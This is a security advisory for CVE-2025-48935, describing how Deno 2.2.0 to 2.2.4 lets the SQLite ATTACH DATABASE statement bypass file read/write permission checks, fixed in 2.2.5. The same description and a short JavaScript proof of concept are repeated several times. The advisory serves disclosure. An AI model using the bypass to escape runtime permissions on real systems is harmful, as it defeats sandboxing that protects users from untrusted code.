CVE-2025-48935

Deno is a JavaScript, TypeScript, and WebAssembly runtime. Starting in version 2.2.0 and prior to versions 2.2.5, it is possible to bypass Deno's permission read/write db permission check by using ATTACH DATABASE statement. Version 2.2.5 contains a patch for the issue.

Deno is a JavaScript, TypeScript, and WebAssembly runtime. Starting in version 2.2.0 and prior to versions 2.2.5, it is possible to bypass Deno's permission read/write db permission check by using ATTACH DATABASE statement. Version 2.2.5 contains a patch for the issue.

Summary

It is possible to bypass Deno's read/write permission checks by using ATTACH DATABASE statement.

PoC

// poc.js
import { DatabaseSync } from "node:sqlite"

const db = new DatabaseSync(":memory:");
db.exec("ATTACH DATABASE 'test.db' as test;");

db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");

$ deno poc.js

Deno is a JavaScript, TypeScript, and WebAssembly runtime. Starting in version 2.2.0 and prior to versions 2.2.5, it is possible to bypass Deno's permission read/write db permission check by using ATTACH DATABASE statement. Version 2.2.5 contains a patch for the issue.

Deno is a JavaScript, TypeScript, and WebAssembly runtime. Starting in version 2.2.0 and prior to versions 2.2.5, it is possible to bypass Deno's permission read/write db permission check by using ATTACH DATABASE statement. Version 2.2.5 contains a patch for the issue.

Summary

It is possible to bypass Deno's read/write permission checks by using ATTACH DATABASE statement.

PoC

// poc.js
import { DatabaseSync } from "node:sqlite"

const db = new DatabaseSync(":memory:");
db.exec("ATTACH DATABASE 'test.db' as test;");

db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");

$ deno poc.js

It is possible to bypass Deno's read/write permission checks by using ATTACH DATABASE statement.

PoC

// poc.js
import { DatabaseSync } from "node:sqlite"

const db = new DatabaseSync(":memory:");
db.exec("ATTACH DATABASE 'test.db' as test;");

db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");

$ deno poc.js